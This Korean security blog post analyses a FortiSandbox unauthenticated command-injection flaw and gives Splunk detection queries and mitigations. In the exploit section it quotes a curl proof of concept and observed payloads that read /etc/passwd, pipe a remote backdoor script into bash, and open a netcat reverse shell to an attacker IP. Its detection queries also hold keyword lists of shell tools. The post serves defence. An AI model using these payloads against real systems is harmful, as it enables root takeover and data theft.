취약점 분석/CVE

CVE-2026-39808: Fortinet FortiSandbox OS Command Injection 취약점 분석 및 Splunk SPL 탐지 쿼리

y0.0ns 2026. 7. 17. 10:42

1. 취약점 설명

Fortinet FortiSandbox의 특정 엔드포인트에서 jid 파라미터가 검증 없이 OS 명령어로 전달되어, 인증 없이 root 권한으로 임의 명령어를 실행할 수 있는 취약점. curl 명령어 하나로 익스플로잇이 가능하며 PoC가 공개된 이후 실제 공격이 관찰되고 있다.


2. 취약점 개요

항목 내용
CVE 번호 CVE-2026-39808
CVSS 9.8 (Critical)
발표일 2026년 4월 14일
CWE CWE-78 (OS Command Injection)
영향 제품 Fortinet FortiSandbox 4.4.0 ~ 4.4.8
취약 조건 인증 불필요, 네트워크 접근 가능하면 즉시 공격 가능
발견자 Samuel de Lucas Maroto (KPMG Spain)
패치 버전 4.4.9 또는 v5.0.0 이상
PoC 공개 2026년 4월 (GitHub 공개)
실제 공격 관찰됨 (허니팟 센서에 공격 시도 포착)

FortiSandbox란? Fortinet의 고급 위협 탐지 솔루션. 의심스러운 파일과 URL을 격리된 환경(샌드박스)에서 실행해 악성 여부를 판정한다. 방화벽, 이메일 보안, EDR, SIEM, SOAR 등 다른 Fortinet 제품들이 이 판정 결과를 기반으로 차단 결정을 내리거나 자동화 플레이북을 실행하기 때문에, FortiSandbox가 침해되면 Fortinet Security Fabric 전체의 신뢰성이 무너진다.

OS Command Injection이란? 사용자 입력값이 검증 없이 OS 명령어로 전달될 때 발생하는 취약점. SQL 인젝션이 DB 쿼리를 조작한다면, OS Command Injection은 운영체제 명령어 자체를 조작한다. CWE-78로 분류되며 OWASP Top 10:2025 A05(Injection) 카테고리에 포함된다.


3. 익스플로잇 방식

취약점의 근본 원인

취약점은 /fortisandbox/job-detail/tracer-behavior 엔드포인트의 jid GET 파라미터에 있다. 이 파라미터가 입력값 검증 없이 시스템 셸 명령어에 직접 전달된다.

정상 동작:
GET /fortisandbox/job-detail/tracer-behavior?jid=12345
→ jid=12345 가 내부 명령어에 그대로 전달
→ 해당 작업의 추적 행위 정보를 반환

취약한 코드 흐름:
system("tracer-behavior --job " + jid)
→ jid 값을 검증 없이 명령어에 붙임
→ jid에 파이프(|)를 넣으면 명령어 체인 가능

파이프(|) 기호를 이용한 명령어 체인

Unix/Linux에서 파이프(|) 기호:
명령어A | 명령어B
→ 명령어A의 출력을 명령어B의 입력으로 전달

공격에서 활용:
jid=|(임의명령어)|
→ 앞의 정상 명령어를 파이프로 끊고
→ 공격자가 원하는 명령어를 실행

 

공격 흐름:

1. 공격자가 조작된 GET 요청 전송 (인증 불필요)

2. jid 파라미터에 파이프 + 명령어 삽입
   jid=|(id > /web/ng/out.txt)|

3. FortiSandbox가 파이프 뒤 명령어를 root 권한으로 실행
   → id 명령어 실행 결과를 웹 루트에 저장

4. 공격자가 브라우저로 결과 파일 접근
   http://[FortiSandbox]/ng/out.txt
   → uid=0(root) 확인

5. 원하는 명령어로 교체
   → 백도어 설치, 자격증명 탈취, 내부망 이동

실제 PoC 코드

bash
# 발견자 samu-delucas가 공개한 PoC
curl -s -k --get "http://$HOST/fortisandbox/job-detail/tracer-behavior" \
     --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# 결과 확인
curl -s -k "http://$HOST/ng/out.txt"
→ uid=0(root) gid=0(root) groups=0(root) 출력

왜 특히 위험하냐면: curl 명령어 하나로 인증 없이 root 권한 실행이 가능하다. 기술적 난이도가 거의 없어서 스크립트 키디 수준에서도 악용 가능하다. 또한 FortiSandbox가 침해되면 악성 파일을 정상으로 판정해서 연결된 Fortinet 제품들이 악성 트래픽을 허용하게 된다.

실제 공격에서 관찰된 패턴

허니팟 센서에 포착된 공격 시도:

bash
# 시스템 정보 수집
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

# 지속 접근 확보
jid=|(curl http://공격자서버/backdoor.sh | bash)|

# 내부망 피버팅
jid=|(nc -e /bin/sh 공격자IP 4444)|

4. 어디서 흔적이 남는가 (로그 소스 매핑)

로그 소스 탐지 가능한 흔적
웹 서버/프록시 로그 /fortisandbox/job-detail/tracer-behavior 엔드포인트로의 비정상 GET 요청
방화벽 로그 FortiSandbox에서 외부로의 비정상 아웃바운드 연결
EDR/Sysmon root 권한 비정상 프로세스 생성
네트워크 로그 포트 443/8443으로 들어오는 의심 GET 요청
FortiSandbox 자체 로그 웹 루트에 생성된 비정상 파일 (out.txt, proof.php 등)

⚠️ 탐지의 핵심 어려움 공격 트래픽이 일반 HTTPS GET 요청처럼 보인다. jid 파라미터에 파이프 문자가 URL 인코딩되어 전달되면(%7C) 단순 패턴 매칭으로는 탐지하기 어렵다. 웹 루트에 비정상 파일이 생성되는지 모니터링하는 것이 가장 확실한 탐지 포인트다.


5. SPL 탐지 쿼리

기본형: tracer-behavior 엔드포인트 비정상 접근 탐지

spl
index=proxy_logs OR index=waf_logs
| search uri_path="*/fortisandbox/job-detail/tracer-behavior*"
| rex field=uri_query "jid=(?<jid_value>[^&]+)"
| eval suspicious=if(match(jid_value, "(\||\;|\`|\$\(|%7C|%3B|%60)"), 1, 0)
| where suspicious=1
| stats count as attempt_count by src_ip, uri_path, jid_value
| sort -attempt_count
| table src_ip, uri_path, jid_value, attempt_count

쿼리 설명:

  • tracer-behavior 엔드포인트로 들어오는 요청만 필터링
  • jid 파라미터 값을 추출해서 파이프(|), 세미콜론(;), 백틱 등 명령어 체인 문자가 포함됐는지 확인
  • URL 인코딩된 형태(%7C = |, %3B = ;)도 함께 탐지

개선형: 비정상 GET 요청 + 이후 아웃바운드 연결 연계 탐지

spl
index=proxy_logs OR index=waf_logs
| search uri_path="*/fortisandbox/job-detail/tracer-behavior*"
| rex field=uri_query "jid=(?<jid_value>[^&]+)"
| eval suspicious=if(match(jid_value, "(\||\;|\`|%7C|%3B|%60|whoami|id|passwd|wget|curl|nc|bash|sh)"), 1, 0)
| where suspicious=1
| stats count as inject_count by src_ip, _time span=5m
| join type=left src_ip
    [search index=firewall_logs
     | where direction="outbound"
     | where dest_port IN (4444, 8080, 9001, 1080, 31337)
     | stats count as c2_count by src_ip]
| where isnotnull(c2_count)
| table src_ip, inject_count, c2_count

쿼리 설명:

  • 명령어 인젝션 키워드(whoami, id, wget, curl, nc 등)까지 포함해서 더 정교하게 탐지
  • join으로 인젝션 시도 후 비표준 포트로 아웃바운드 연결(C2 통신)까지 연계
  • 두 조건 동시 만족 = 익스플로잇 성공 후 백도어 통신 가능성 높음

웹 루트 비정상 파일 생성 탐지

spl
index=fortisandbox_logs OR index=linux_logs
| search file_path="/web/ng/*"
| eval suspicious_file=if(match(file_name, "(out\.txt|proof\.php|cmd\.php|shell\.php|\.sh)"), 1, 0)
| where suspicious_file=1
| stats count by host, file_path, file_name, _time
| sort -_time
| table host, file_path, file_name, _time

쿼리 설명:

  • PoC가 결과를 웹 루트(/web/ng/)에 파일로 저장하는 패턴을 탐지
  • out.txt, proof.php 같은 PoC에서 자주 쓰이는 파일명을 탐지
  • FortiSandbox 로그가 Splunk로 수집되는 환경에서 사용 가능

⚠️ 인덱스명 안내: proxy_logs, waf_logs, firewall_logs, fortisandbox_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.


6. 오탐지 줄이는 팁

  • 정상 jid 파라미터: 일반적인 작업 ID는 숫자나 알파숫자 조합이다. jid 값에 파이프, 세미콜론, 공백 + 명령어가 포함되면 즉시 의심
  • URL 인코딩 우회: 공격자가 %7C(파이프), %3B(세미콜론) 같이 인코딩해서 보낼 수 있으므로 인코딩된 형태도 반드시 포함
  • 내부 보안팀 스캐닝: 취약점 스캐너가 해당 엔드포인트를 점검하는 경우 오탐 가능 → 스캐너 IP 화이트리스트 처리

7. 임시 대응 / 패치 정보

패치 적용 (최우선):

버전 조치
4.4.0 ~ 4.4.8 4.4.9 이상으로 업그레이드
5.0.0 이전 v5.0.0 이상으로 업그레이드

즉시 적용 가능한 완화 조치:

 

1. 관리 인터페이스 접근 제한 (가장 효과적)

포트 443, 8443을 신뢰된 관리자 IP에서만 접근 가능하도록
방화벽/ACL로 제한

 

2. 취약 엔드포인트 차단

WAF 또는 방화벽에서
'/fortisandbox/job-detail/' 경로로의 일반 서브넷 트래픽 차단

 

3. 이미 침해된 경우

패치만으로는 부족
→ FortiSandbox 어플라이언스 완전 재구축 필요
→ 연결된 Fortinet 제품들의 판정 결과 신뢰성 재검토
→ 내부망 전체 침해 여부 확인

8. CVE-2025-20393과 비교

이전에 다뤘던 Cisco SEG 취약점과 같은 유형(OS Command Injection)이지만 차이점이 있다.

항목 CVE-2025-20393 CVE-2026-39808
영향 제품 Cisco Secure Email Gateway Fortinet FortiSandbox
취약점 유형 OS Command Injection (CWE-20) OS Command Injection (CWE-78)
인증 필요 불필요 불필요
PoC 공개 비공개 공개 (GitHub)
실제 공격 APT 그룹 활용 허니팟에서 공격 시도 포착
핵심 위험 이메일 보안 장비 장악 보안 판정 시스템 장악

공통점:

둘 다 보안 장비 자체가 공격 대상
→ 보안 장비가 뚫리면 그 장비를 믿는 다른 시스템도 무너짐
→ "보안 장비는 안전하다"는 가정이 얼마나 위험한지 보여주는 사례

9. 마무리 / 한계점

이 SPL 쿼리의 한계:

  • FortiSandbox 로그가 Splunk로 수집되지 않는 환경에서는 웹 루트 파일 생성 탐지 불가
  • 공격자가 URL 인코딩을 이중/삼중으로 적용하면 패턴 매칭 우회 가능
  • PoC 외 변형 공격 패턴은 키워드 기반 탐지로 잡기 어려움

보안 장비는 "신뢰의 앵커"다. FortiSandbox처럼 다른 보안 제품들이 판정을 위임하는 장비가 침해되면, 한 번의 공격으로 전체 보안 패브릭이 무력화된다. 패치 속도가 그 어느 제품보다 중요한 이유가 여기 있다.

더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.


이 블로그의 관련 글:


참고 자료: